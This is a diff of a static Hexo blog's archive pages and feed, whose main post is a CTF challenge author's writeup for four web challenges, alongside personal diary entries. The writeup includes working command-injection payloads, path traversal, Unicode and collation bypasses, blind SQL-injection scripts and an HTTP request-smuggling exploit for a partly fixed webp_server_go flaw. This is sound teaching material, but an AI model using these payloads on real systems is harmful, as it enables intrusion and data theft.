所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账,我也不知道会有多长,各位慢慢看🤪。
周记#29 SJTU-CTF 2023 Writeup 好久没更新博客了,周记已经咕咕咕好几个月了,等有空再写吧(
作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白,前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会,就在博客上也发一遍吧。
SJTU-CTF 2023 Writeup
\ No newline at end of file
diff --git a/archives/2024/02/index.html b/archives/2024/02/index.html
new file mode 100644
index 00000000..7799930b
--- /dev/null
+++ b/archives/2024/02/index.html
@@ -0,0 +1 @@
+归档:2024/2 | Hans362 's Blog 加载中...
Hans362 's Blog 周记#31 好久不见,各位新春快乐呀!🧨
五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)
那就来一篇终极寒假生活流水账罢(
周记#31
\ No newline at end of file
diff --git a/archives/2024/04/index.html b/archives/2024/04/index.html
new file mode 100644
index 00000000..e2992feb
--- /dev/null
+++ b/archives/2024/04/index.html
@@ -0,0 +1 @@
+归档:2024/4 | Hans362 's Blog 加载中...
Hans362 's Blog SJTU-CTF / GEEKCTF 2024 部分 Writeup 去年还是选手,今年变成出题人了(
这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。
SJTU-CTF / GEEKCTF 2024 部分 Writeup
\ No newline at end of file
diff --git a/archives/2024/index.html b/archives/2024/index.html
new file mode 100644
index 00000000..cc2c9123
--- /dev/null
+++ b/archives/2024/index.html
@@ -0,0 +1 @@
+归档:2024 | Hans362 's Blog 加载中...
Hans362 's Blog SJTU-CTF / GEEKCTF 2024 部分 Writeup 去年还是选手,今年变成出题人了(
这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。
SJTU-CTF / GEEKCTF 2024 部分 Writeup 周记#31 好久不见,各位新春快乐呀!🧨
五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)
那就来一篇终极寒假生活流水账罢(
周记#31
\ No newline at end of file
diff --git a/archives/index.html b/archives/index.html
new file mode 100644
index 00000000..3cd01e3c
--- /dev/null
+++ b/archives/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/10/index.html b/archives/page/10/index.html
new file mode 100644
index 00000000..1efe4a07
--- /dev/null
+++ b/archives/page/10/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/2/index.html b/archives/page/2/index.html
new file mode 100644
index 00000000..a6298a2b
--- /dev/null
+++ b/archives/page/2/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/3/index.html b/archives/page/3/index.html
new file mode 100644
index 00000000..0d213a5b
--- /dev/null
+++ b/archives/page/3/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/4/index.html b/archives/page/4/index.html
new file mode 100644
index 00000000..44e5d5b4
--- /dev/null
+++ b/archives/page/4/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/5/index.html b/archives/page/5/index.html
new file mode 100644
index 00000000..a2ee862e
--- /dev/null
+++ b/archives/page/5/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/6/index.html b/archives/page/6/index.html
new file mode 100644
index 00000000..10680d2c
--- /dev/null
+++ b/archives/page/6/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/7/index.html b/archives/page/7/index.html
new file mode 100644
index 00000000..83f8e1cd
--- /dev/null
+++ b/archives/page/7/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/8/index.html b/archives/page/8/index.html
new file mode 100644
index 00000000..feb22575
--- /dev/null
+++ b/archives/page/8/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/archives/page/9/index.html b/archives/page/9/index.html
new file mode 100644
index 00000000..7d9e28f1
--- /dev/null
+++ b/archives/page/9/index.html
@@ -0,0 +1 @@
+归档 | Hans362 's Blog 加载中...
\ No newline at end of file
diff --git a/atom.xml b/atom.xml
new file mode 100644
index 00000000..86129690
--- /dev/null
+++ b/atom.xml
@@ -0,0 +1,511 @@
+
+
+ Hans362 's Blog
+
+ 不以物喜,不以己悲
+
+
+
+ 2024-04-24T14:30:59.333Z
+ https://blog.hans362.cn/
+
+
+ Hans362
+
+
+
+ Hexo
+
+
+ SJTU-CTF / GEEKCTF 2024 部分 Writeup
+
+ https://blog.hans362.cn/post/sjtu-ctf-geekctf-2024-writeup/
+ 2024-04-24T15:33:33.000Z
+ 2024-04-24T14:30:59.333Z
+
+ 去年还是选手,今年变成出题人了(
这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。
YAJFYet Another JSON Formatter.
Do you know jq
? jq
is a lightweight and flexible JSON processor.
P.S. The flag is inside an environment variable.
答题情况 SJTU-CTF 5 Solves / 764 pts
0ops{rC3_1S_5o_eEEe@sY_hHhhHHH}
GEEKCTF 27 Solves / 297 pts
flag{rC3_1S_5o_eEEe@sY_hHhhHHH}
一个在线 JSON 格式化工具,考察命令注入。
通过抓包不难发现,该工具是把原始 JSON 以及格式化参数 POST 到后端进行处理的。题目描述中已经明示使用了 jq
,而 jq
是一个命令行工具,并且传入的几种格式化参数刚好和 jq
文档中的一致,不难嗅到一丝命令注入的味道。
经过一番 Fuzz 可以发现,只控制传入的 json
是无法实现命令执行的,这其实是因为 json
是直接作为 stdin
输入的,并不是命令的一部分。而通过控制传入的 args
则可以实现命令执行,不过要求每个 args
的长度不能超过 5,且输出必须是合法的 JSON。
要达到这些要求并不困难,一种简单的办法是使用管道符,将 env
命令的输出通过 jq -R
转换成合法的 JSON。在大家的 Writeup 中也看到了五花八门的解法,以下列举一些较为简短的供参考。
args=|env|&args=jq&args=-R&json={}args=<<<&args=`env`&args=-R&json={}args=;echo&args=\"&args=$FLAG&args=\"&json={}args=;&args=echo&args=[\"&args=`&args=env&args=`&args=\"]
你知道吗 单个数字、单个双引号包围的字符串都是合法的 JSON。
最后揭秘一下命令到底是怎么拼接的,不过都能执行命令了,拖一份源码出来看看应该也不难吧。
@app.route("/" , methods=["GET" , "POST" ] ) def index (): if request.method == "POST" : args = request.form.getlist("args" ) json = request.form.get("json" , "" ) for arg in args: if len (arg) > 5 : return render_template( "index.html" , error="One or more arguments are too long." , args=args, json=json, ) try : formatted = subprocess.check_output( ["bash" , "-c" , f'jq . {" " .join(args)} ' ], input =json, text=True , stderr=subprocess.STDOUT, ) try : subprocess.check_output( ["jq" , "." ], input =formatted, text=True , stderr=subprocess.STDOUT ) except subprocess.CalledProcessError: return render_template( "index.html" , error="Oh, no! Formatted text isn't valid JSON! Are you a hacker?" , args=args, json=json, ) except subprocess.CalledProcessError as e: try : error = e.output.splitlines()[0 ].strip() if error.startswith("jq: parse error:" ): error = f"P{error[5 :]} " else : error = "Internal server error." except : error = "Internal server error." return render_template("index.html" , error=error, args=args, json=json) return render_template("index.html" , args=args, json=formatted) return render_template("index.html" )
SecretsMy notes and secrets are stored in this secret vault. I’m sure no one can get them.
答题情况 SJTU-CTF 7 Solves / 684 pts
GEEKCTF 43 Solves / 207 pts
出题灵感来自于真实的攻击事件,考察文件包含、Python 字符大小写特性、MySQL 字符串比较特性。
打开网页只有一个登陆框,可以发现网页源代码中有一堆不知道是什么东西的奇怪注释,控制台也输出了一串神秘数字。这两处实际上是两个提示,并不是解出本题所必须的。
控制台的神秘数字是八进制下的 ASCII 码,转换后得到字符串 Don't you think the color picker is weird?
,提示我们去看页面右上角切换颜色的功能。
你知道吗 对于这种奇奇怪怪的编码,可以使用 CyberChef 的 Magic 功能进行自动检测。
切换几次颜色并抓包,可以发现切换颜色时会先请求 /setCustomColor
接口,响应中会 Set-Cookie
。
接着页面会从 /redirectCustomAsset
接口获取对应颜色的 CSS。不难发现这个接口会读取 Cookie 中的 asset
值,返回对应路径的 CSS 文件。
页面源代码中的奇怪注释则是 Base85 编码后的目录结构。
.├── app.py├── assets│ ├── css│ │ ├── pico.amber.min.css│ │ ├── pico.azure.min.css│ │ ├── pico.blue.min.css│ │ ├── pico.cyan.min.css│ │ ├── pico.fuchsia.min.css│ │ ├── pico.green.min.css│ │ ├── pico.grey.min.css│ │ ├── pico.indigo.min.css│ │ ├── pico.jade.min.css│ │ ├── pico.lime.min.css│ │ ├── pico.orange.min.css│ │ ├── pico.pink.min.css│ │ ├── pico.pumpkin.min.css│ │ ├── pico.purple.min.css│ │ ├── pico.red.min.css│ │ ├── pico.sand.min.css│ │ ├── pico.slate.min.css│ │ ├── pico.violet.min.css│ │ ├── pico.yellow.min.css│ │ └── pico.zinc.min.css│ └── js│ ├── color-picker.js│ ├── home.js│ ├── jquery-3.7.1.min.js│ └── login.js├── gunicorn_conf.py├── populate.py├── requirements.txt└── templates ├── base.html ├── index.html └── login.html
尝试修改 Cookie 中的 asset
把目录中的其他文件读出来,结果却返回 Hacker!
,猜测可能是对路径开头做了检查。
尝试用 ../
绕过检查,发现读取成功,于是可以把整个网站的源码拖下来。
网站的主要逻辑在 app.py
里,先看看登录部分的代码。
@app.route("/login" , methods=["GET" , "POST" ] ) def login (): if session.get("logged_in" ): return redirect("/" ) def isEqual (a, b ): return a.lower() != b.lower() and a.upper() == b.upper() if request.method == "GET" : return render_template("login.html" ) username = request.form.get("username" , "" ) password = request.form.get("password" , "" ) if isEqual(username, "alice" ) and isEqual(password, "start2024" ): session["logged_in" ] = True session["role" ] = "user" return redirect("/" ) elif username == "admin" and password == os.urandom(128 ).hex (): session["logged_in" ] = True session["role" ] = "admin" return redirect("/" ) else : return render_template("login.html" , error="Invalid username or password." )
显然以 admin
的身份登录是不可能的(不会有人能猜出 os.urandom(128).hex()
的结果吧),那么唯一的可能就是以 alice
的身份登录。但是 alice
用户名密码的判等逻辑有点奇怪,isEqual()
要求两个字符串小写不同,但是大写相同,乍一看这好像也不可能啊。不过反正 Unicode 字符也不多 ,统统枚举一遍看看吧,结果还真发现了 4 个。
import stringfor i in range (0 , 0x10FFFF ): c = chr (i) if c.upper() in string.ascii_uppercase and c.lower() not in string.ascii_lowercase: print (c, c.upper())
ı Iſ Sſt STst ST
于是用 alıce
作为用户名、ſtart2024
或 start2024
或 ſtart2024
作为密码就可以通过这段验证,以 alice
的身份登录。但是由于我们现在并不是admin
,只能看到 notes
。
接下来的目标是越权访问 secrets
,那就看看访问控制是如何实现的吧。
type = request.args.get("type" , "notes" ).strip()if ("secrets" in type .lower() or "SECRETS" in type .upper()) and session.get( "role" ) != "admin" : return render_template( "index.html" , notes=[], error="You are not admin. Only admin can view secre<u>ts</u>." , )
这里的逻辑是,如果当前用户不是 admin
,那么检查传入的 type
,如果 type
小写后包含 secrets
或大写后包含 SECRETS
,那么拒绝访问。乍一看似乎也没什么问题,但是这种黑名单的过滤机制值得我们怀疑一下是不是有办法绕过。
再仔细阅读一下代码,发现有两行看上去没啥用的断言,告诉我们数据库的 Character Set 是 utf8mb4
,Collation 是 utf8mb4_unicode_ci
。
assert character_set_database[0 ] == "utf8mb4" assert collation_database[0 ] == "utf8mb4_unicode_ci"
那么 Character Set 和 Collation 究竟是什么呢?查阅 MySQL 官方文档可以找到相应的解释。
A character set is a set of symbols and encodings. A collation is a set of rules for comparing characters in a character set.
我们注意到,Collation 决定了 Character Set 中的字符进行比较的规则。MySQL 中比较两个字符串是基于它们的 Weight,而 Weight 由 Collation 决定。我们只要使用 utf8mb4_unicode_ci
Collation 中与 secrets
具有相同 Weight 的字符串即可。符合这样条件的字符串其实有很多,事实上 secrets
的 ts
被加上了下划线,已经暗示了一种解法,以下列举一部分解法供参考:
secreʦŚecretssecre%00tssecréts
当然如果不知道这一点,也可以在本地起一个完全相同的环境,设置相同的 Character Set 和 Collation,用和之前一样的办法把 Unicode 字符都枚举一遍,也能找出可以绕过检查的字符串。
最后说说题目背后的真实事件。2023 年 12 月,OKX 交易所就曾因 Collation 设置不当遭受攻击。攻击者通过 saʦ
欺骗了数据库,成功冒充 sats
铭文代币出现在了搜索结果中,于是眼神不太好的用户就上当受骗了,被黑客狠狠割了韭菜。
实际上这并不是数据库软件的错,而是在字符串比较时没有使用正确的 Collation,使用 utf8mb4_unicode_bin
则可以规避这一问题。
SafeBlog2Using WordPress is a bit too dangerous, so I’m developing my own blogging platform, SafeBlog2, to have full control over its security.
Attachment
P.S. It is recommended to test your exploit locally before creating an online instance.
答题情况 SJTU-CTF 1 Solves / 1000 pts
0ops{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}
GEEKCTF 8 Solves / 611 pts
flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}
出题灵感来自于 MapleCTF 2023 Data Explorer
,考察环境变量导致 assert
失效以及查询次数有限情况下的 SQL 注入。
直接审计压缩包中的源码,发现似乎并没有什么问题,utils/db.js
中实现的简易 ORM 采用了预编译绑定参数,对列名也使用 assert
做了检查,好像无懈可击?
仔细观察会发现,这里的 assert
用的是 assert-plus
,查询文档得知这个库提供了通过设置环境变量使所有 assert
失效的能力。
Lastly, you can opt-out of assertion checking altogether by setting the environment variable NODE_NDEBUG=1
查看压缩包中的 compose.yml
,发现确实设置了 NODE_NDEBUG=1
,所以可以直接无视代码中的所有 assert
,也就是列名检查失效了。
你知道吗 在 Python 中也存在类似的能力,而且无需引入第三方库,通过设置 PYTHONOPTIMIZE=1
环境变量即可使代码中的所有 assert
失效。
此时再去寻找代码中直接接受用户输入作为列名的地方,发现评论点赞接口存在问题:
app.get ('/comment/like' , async (req, res) => { try { const comments = await runQuery ('comments' , req.query ); comments.forEach ((comment ) => { db.run ('UPDATE comments SET likes = likes + 1 WHERE id = ?' , comment.id ); }); res.redirect (req.headers .referer ?? '/' ); } catch { res.status (500 ).render ('error' , { message : 'Internal Server Error' }); }});
req.query
是用户传入的全部 GET
参数,直接作为 filter
参数传递给了 runQuery()
,而 runQuery()
调用的 filterBuilder()
中的列名检查失效了,因此会把 req.query
的所有键当作列名拼接进 SQL 语句中,值则采用预编译绑定参数,那么通过控制键名就可以任意操纵 SQL 语句,理论上就可以进行注入了。
function filterBuilder (model, filter ) { return { where : 'WHERE ' + Object .keys (filter) .map ((key, index ) => { return `${key} = ?` ; }) .join (' AND ' ), params : Object .values (filter), };}async function runQuery (model, filter, sort ) { queries++; const { where, params } = filter ? filterBuilder (model, filter) : { where : '' , params : [] }; const order_by = sort ? `ORDER BY ${sortBuilder(model, sort)} ` : '' ; return new Promise ((resolve, reject ) => { db.all (`SELECT * FROM ${model} ${where} ${order_by} ` , params, (err, rows ) => { if (err) { reject (err); } else { resolve (rows); if (queries >= 4 ) { db.run (`UPDATE admins SET password = "${passwordGenerator(16 )} " WHERE id = 1` ); queries = 0 ; } } }); });}
然而阅读 runQuery()
的代码会发现,每 4 次使用 runQuery()
进行查询, admin
的密码就会被重置,所以显然不能直接注入获取密码,这该怎么办?
预期解稍加思考不难发现,点赞接口会对结果集里面的每一条评论点赞,同时我们可以无限制地创建评论(创建评论不使用 runQuery()
,不会触发密码重置),那么通过巧妙地构造 SQL 语句,我们就可以仅用 3 次查询,利用评论的点赞数间接泄漏出 admin
的密码,最后 1 次查询用于登录 admin
的账号获取 Flag。
具体构造 SQL 语句的方式有很多,看了大家的 Writeup 也确实各不相同,不过都大同小异,基本思想是一致的。以下是出题人笨拙的做法,供参考。
考虑到 admin
密码字符串长度为 32,每一位字符有 0
- F
共 16 种可能,因此可以将每一位字符的每一种可能一对一地映射到 512 条评论上。选出每一位的字符对应的评论进行点赞,根据被点赞的评论 id
即可还原出密码,然后登录拿到 Flag。
import reimport requestsimport bs4url = "http://<instance_url>/" def create_comments (): for i in range (512 ): print (i) r = requests.get( url + "comment/new" , params={"name" : str (51 + i), "content" : str (51 + i), "post_id" : 10 }, ) assert r.status_code == 200 def generate_payload (): query = "{} AND '5'" char = "id = IIF(unicode((select substr(password,{},1) from admins)) <= 57, unicode((select substr(password,{},1) from admins)) - 47, unicode((select substr(password,{},1) from admins)) - 86) + 50 + 16 * {}" payload = { query.format ( " OR " .join([char.format (i + 1 , i + 1 , i + 1 , i) for i in range (32 )]) ): 5 } print (payload) return payloaddef send_payload (): r = requests.get( url + "comment/like" , params=generate_payload(), allow_redirects=False ) assert r.status_code == 302 def get_result (): hex_letters = "0123456789abcdef" r = requests.get(url + "post/10" ) soup = bs4.BeautifulSoup(r.text, "html.parser" ) article = soup.find_all("article" )[1 ] lis = article.find_all("li" ) res = "" for i, li in enumerate (lis[:32 ]): id = int (re.search(r"(\d+)" , li.text).group(1 )) res += hex_letters[id - 50 - i * 16 - 1 ] return resdef get_flag (): password = get_result() print ("[+] Admin password: " + password) r = requests.get(url + "admin" , params={"username" : "admin" , "password" : password}) flag = bs4.BeautifulSoup(r.text, "html.parser" ).find("code" ).text print ("[+] Flag: " + flag)create_comments()print ("[+] Comments created." )send_payload()print ("[+] Payload sent." )get_flag()
非预期解出题人粗心大意,重置密码的代码竟然写错位置了,于是被 4 位选手狠狠非预期了。
if (err) { reject (err);} else { resolve (rows); if (queries >= 4 ) { db.run (`UPDATE admins SET password = "${passwordGenerator(16 )} " WHERE id = 1` ); queries = 0 ; }}
不难发现只有在查询成功的情况下,计数器才会累加,所以如果构造的 SQL 语句能够触发查询错误,同时能够通过延时来泄漏信息,那么就可以完全无视次数限制,当作普通的延时盲注来做。
具体而言,可以通过 RANDOMBLOB()
实现延时(因为 sqlite
没有 SLEEP()
),通过 load_extension(1)
触发查询错误,只要延时先于触发查询错误即可,以下是选手 __No0♭__
的解法,供参考。
def check (curr, mid ): burp0_url = f"{HOST} /comment/like" burp0_headers = {"Connection" : "close" } response = requests.get(burp0_url, params={f"'1' = ? OR CASE WHEN (SELECT unicode(substr(password,{curr} ,1)) FROM admins WHERE id = 1)<={mid} THEN (1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(250000000/2)))) OR load_extension(1/0)) ELSE load_extension(1/0) END;--" :"zz" }, headers=burp0_headers, allow_redirects=False , proxies=PROXY) return response.elapsed.total_seconds() > 0.5
不过感觉难度上非预期解和预期解好像也差不了多少(?),所以无所谓啦。
PicBedPicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.
Attachment
P.S. It is recommended to test your exploit locally before creating an online instance.
答题情况 SJTU-CTF 1 Solves / 1000 pts
0ops{cVE_2021_46104_No7_FULlY_p@TcH3d}
GEEKCTF 7 Solves / 647 pts
flag{cVE_2021_46104_No7_FULlY_p@TcH3d}
想稍微拉高一下难度,所以拿了个开源项目的很鸡肋的漏洞出了这道题,考察 HTTP 请求走私和 Go 语言代码审计。
观察压缩包中的源码,发现前端是用 Flask 写的,负责页面展示、图片上传,后端使用了开源项目 webp_server_go
,负责根据用户传入的 Accept
请求头返回原图或 WebP 格式的图片。我们的目标是拿到容器根目录下的 flag.png
。
webp_server_go
默认加载的是 /opt/pics
中的图片。显然,我们需要挖掘 webp_server_go
项目中类似于目录穿越的漏洞并加以利用。通过搜索 webp_server_go path traversal
关键词,不难发现该项目曾经有一个 CVE-2021-46104,但是在这道题使用的 0.11.1 版本中已经修复了,似乎没什么用。
不过我们不妨看看 CVE-2021-46104 是怎么修的吧。通过翻阅项目的 Issues 以及 PRs,发现涉及该漏洞修复的 PR 是 #93 和 #103 。进一步阅读这两个 PR 中的代码改动,会发现最核心的就是下面这几行代码。
从代码中看,开发者试图通过 path.Clean()
消除 reqURI
中的 ../
,从而避免目录穿越。通过查阅官方文档 可知,path.Clean()
函数通过纯词法处理返回与参数等效的最短路径名。这样乍一看好像没什么问题,即使 reqURI
中有再多的 ../
,消除到最后似乎也仅仅只能回退到 /
,再与 config.ImgPath
拼接,肯定无法穿越出 config.ImgPath
。
但如果 reqURI
直接以 ../
开头呢?经过尝试不难发现,在这种情况下 ../
会被直接保留,再与 config.ImgPath
拼接,就能够实现目录穿越。
那么 reqURI
有没有可能直接以 ../
开头呢?webp_server_go
使用的框架是 fiber
,而 fiber
是基于 fasthttp
的。fasthttp
在面对 URI 不以 /
开头的畸形 HTTP 请求时,并不会报错,而是依旧将其作为合法的 URI 处理。这也就意味着 CVE-2021-46104 并没有完全修好,我们只需构造如下的畸形 HTTP 报文,就可以穿越到根目录读取 Flag。
GET ../../flag.png HTTP/1.1
现在只剩下最后一个问题,如何把这个报文发给后端的 webp_server_go
呢?仔细观察前端的 /pics/<string:path>
路由,发现传给 fetch_converted_image()
方法的 accept
参数取的是 URL 解码后的 Accept
请求头,在 fetch_converted_image()
方法中直接拼接到了 HTTP 报文中。由此,我们可以实现 HTTP 请求走私,通过插入 URL 编码后的 \r\n\r\n
将一段 HTTP 报文截断为两段连续的 HTTP 报文,后一段 HTTP 报文是完全可控的,fetch_converted_image()
方法最终返回的也恰好是最后一段报文的响应体。于是,可以构造如下的 Accept
请求头实现我们的目标。
Accept : image/webp%0d%0a%0d%0aGET ../../flag.png HTTP/1.1
所以最终的完整流程是,先随意上传一张图片,访问该图片并抓取 HTTP 报文,按上述方法修改 Accept
请求头,发送请求获取 Flag。
最后说说这个漏洞为什么鸡肋。首先畸形的 HTTP 报文必须直接发送给 webp_server_go
,一旦中间有 Nginx 之类的反向代理对 URI 做了检查就无法利用了,这也就是为什么本题要将其和 HTTP 请求走私结合;其次该漏洞只能读取图片文件,因为 webp_server_go
会把读到的文件喂给 VIPS 处理,读到的文件只要不是合法的图片 VIPS 就会报错,攻击者无法得到文件内容,这也是本题 Flag 是图片的原因;最后攻击者还需要有图片的路径这一先验知识,否则很难读到有效的图片。
收完 Writeup 后已经将该漏洞报告给开发者,已于 0.11.3 版本中修复。
总结这次我出的 4 道题的预期难度是简单、中等、困难、困难(按本文顺序)。GEEKCTF 的解题情况基本符合预期,Secrets 做出来的人意外地还挺多。SJTU-CTF 的解题情况则有点出乎意料,基本没什么人做 Web,完全没有像去年一样的盛况。从 SJTU-CTF 回收的问卷情况来看,有较多选手反映 Web 题目难度梯度不合理(虽然 Web 方向至少有 3 道出题人认为是简单的题目),然而某位几乎 AK Web 的巨佬又反馈 Web 题“一直做一直爽”、偏 MISC、没什么新东西,感觉难度梯度确实还挺难把握的,出那种既有意思又新手友好的题目好难啊TAT。
]]>
+
+
+ <p>去年还是选手,今年变成出题人了(</p>
+<p>这次有幸给校赛暨 GEEKCTF 出了 4 道 Web 题:YAJF、Secrets、SafeBlog2、PicBed,赛后决定在博客上公开一下出题人的部分 Writeup 供参考。</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 周记#31
+
+ https://blog.hans362.cn/post/weekly-31/
+ 2024-02-23T11:56:13.000Z
+ 2024-04-24T14:30:59.337Z
+
+ 好久不见,各位新春快乐呀!🧨
五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)
那就来一篇终极寒假生活流水账罢(
期末周放寒假之前自然是痛苦的考试周。虽说上个学期只有4门课要考试,但其中不乏大雾、电子工程数理方法这种硬核的课程,再加上转专业之后数理方法变成了计划外的交叉课程就没好好听过,真怕最后挂科了前功尽弃,所以还是开启了紧张刺激的补天模式。
好在最后全部顺利通过了,甚至原本只求及格的数理方法用力过猛拿了90+,早知道就多花点时间复习概统和大雾了呜呜呜。
考完最后一门当晚就和室友出去搓了一顿烤肉庆祝一下😋,顺便欢送其中一位即将出国交换的室友,再见就是九月份啦。
驾考放寒假后在学校又待了一周,去旁边驾校继续学车。科三练了四天就匆匆去考试,运气还很差,抽到了最难开的一条线,没想到竟然一把过了。等有空把科四理论考掉就可以拿证咯,嘿嘿又一个新年目标即将达成。
哈尔滨之行年前去了一趟当时很火的城市——哈尔滨,也是第一次在大冬天去这么北的地方。作为南方人完全无法想象零下二十几度是什么概念,为防止下飞机被冻成冰棍,在机场我就已经全副武装,有点小热。后来发现落地后直接靠廊桥了,机场还专门设置了非常多的更衣室,可以到达之后再换衣服。
执飞的是一架机龄16年的A330-300,这么老的飞机竟然还安装了空中 WiFi。从上海飞哈尔滨大概需要3小时,明明是中午的航班却没有正餐,只发了个小面包。进入东北上空后,从空中看地面都是白茫茫的一片,非常壮观🤩。
落地后一出机场眼镜就全是雾完全看不见,因为穿得足够厚感觉没有想象中那么冷,就是鼻子有种要结冰的感觉。在车上看到了路边的冰雕,晶莹剔透的非常漂亮。
人行道上铺满了积雪,踩在上面嘎吱嘎吱的非常有趣,不过要小心混入其中的冰,一不留神踩上去就会滑倒摔得很惨。到酒店已经快下午两点了,去附近的 KFC 解决一顿午饭,东北室内的暖气还是非常给力的,暖气配冰可乐欸嘿嘿。
这次来哈尔滨是去 HIT 参加活动,上课+参观+比赛,安排得非常充实。话不多说直接上图吧。
(哈尔滨的地铁站,造型非常有特色)
(必不可少的环节hhh)
(HIT 校园,路两旁都是白雪,想捏个雪球结果发现太松散了团不起来)
(索菲亚大教堂,周围的铁栏杆据说是甜的 别舔)
(中央大街,快过年了各种彩灯装饰得非常漂亮)
(最不怕雪糕融化的一集🤤,从第一口到最后一口都是梆梆硬)
(各种冰雕雪雕🧊⛄)
总之感谢 HIT 的热情招待,这几天吃好住好玩好学好,非常充实愉快的一次经历。
(对了,HIT 什么时候修一修你的 Eduroam 啊,连上了没有 DHCP 分配 IP 地址也太草了😂)
过年从哈尔滨回来以后在家宅了两周就过年了,假期也接近尾声。今年春节总算是彻底摆脱了疫情的影响,在上海过完除夕后和爸妈回了一趟福建。春节期间老家的天气特别好,天天都是阳光明媚,气温二十几度,很暖和。
回到老家就是见各种亲戚,又到了聊天完全听不懂方言需要我妈翻译的时候了。然后就是吃吃吃🐖,老家好多美食在上海根本吃不到哇🤤。除此之外还去了这边的几个景点逛了逛,主要是一些寺庙、新农村还有历史文化街区啥的,现在都发展得挺不错的,下面是一些有意思的发现。
(寺庙也要i18n,不过哪里出现了什么问题🤣)
(某个卖捏面人的小摊,嗯)
(路上看到一家碰瓷 Fornet 的洗衣店🤣)
值得一提的是,老家这十八线小城市的公交车竟然也已经支持了交通联合,直接刷手机里的「上海交通卡·交通联合版」就可以扣款乘车了,虽然读卡器上显示的余额完全不对(好多城市也有类似的现象),不过无伤大雅。结合之前几次在别的地方的使用体验来看,交通联合可以说是推进得相当不错,给交通运输部点赞👍。
在老家待到初七就匆匆回上海了,爸妈要上班,我也要准备开学了。
新学期2月17日回到学校开始坐牢 。这天室友还没回来,我一个人在寝室住着,结果凌晨三点被宿舍火警强行开机。半梦半醒间隐隐约约听到一个机械女声“现在报告本大厦内有火灾发生,……”,重复了几次后我猛地惊醒,然后体会到了什么叫做大脑宕机,脑子一片空白甚至没反应过来自己在哪。过了好一会儿我才意识到自己在学校宿舍,是火警在响,于是赶紧匆匆下床跑到楼下。好在最后排查下来虚惊一场,就是毁了我早八生活开始前的最后一个好觉😾。
这学期又是每周4天早八,一共14门课程28.5学分,有9门课要考试,而且有几门比较抽象硬核的课(近世代数、信号与系统、量子力学等),已经能够想象到期末周的绝望了,又要重温大一下学期的地狱模式力😇。
总之第一周5天下来感觉身心俱疲😮💨,希望能顺顺利利熬过这学期吧,加油!
]]>
+
+
+ <p>好久不见,各位新春快乐呀!🧨</p>
+<p>五周的寒假转眼就过去了,前不久还沉浸在过年的喜悦中,现在已经在学校坐牢一周了(谁家好人学校正月初九开学啊,我还没玩够呢😡😭)</p>
+<p>那就来一篇终极寒假生活流水账罢(</p>
+
+
+
+
+
+
+
+
+
+ 2023年终总结
+
+ https://blog.hans362.cn/post/2023-annual-report/
+ 2023-12-31T15:59:59.000Z
+ 2024-04-24T14:30:59.325Z
+
+ 草草草怎么一年就过去了,又到了痛苦的期末周 一年一度的年终总结时刻,于是我在紧张刺激的期末跨年预习 复习活动中匆匆写完了这篇文章,快来回顾一下这一事无成 的一年罢()
回顾 2023今年应该说是真正意义上疫情结束后的第一年,各类管控措施总算是消失了,生活也终于回归了正轨,一切都在慢慢变好。
学习在 SJTU 不知不觉就混到了大二,经过了一些金课的洗礼😇,还活着就已经很棒了 。进入大学一年算是找到了适合自己的学习方法,给自己定的唯一要求就是别挂科,毕竟大学不只有学习啊,拼命刷题卷学积分啥的没意义。
今年的意外收获是顺利从信工叛逃,即将转入更感兴趣的信安专业(只要这学期没有挂科),也算是实现了高考未能达成的目标。
技术今年的技能树全点在了信安上。事情还要从3月的 CTF 校赛说起,大概是我打过的最值的一次比赛了,除了拿奖之外,还认识了不少大佬和新朋友,也发现了自己对安全方向的兴趣,正式入坑 CTF。进校队以后打过几次 CTF 线上赛,参加过一些 HW 和代码审计,学到了很多有意思的东西,积累了一点实战经验,收获满满。
今年的 GitHub 小绿墙干干净净,之前维护过的一些开源项目也都弃坑了,是在开源社区彻底开摆的一年,希望明年能更绿一点(
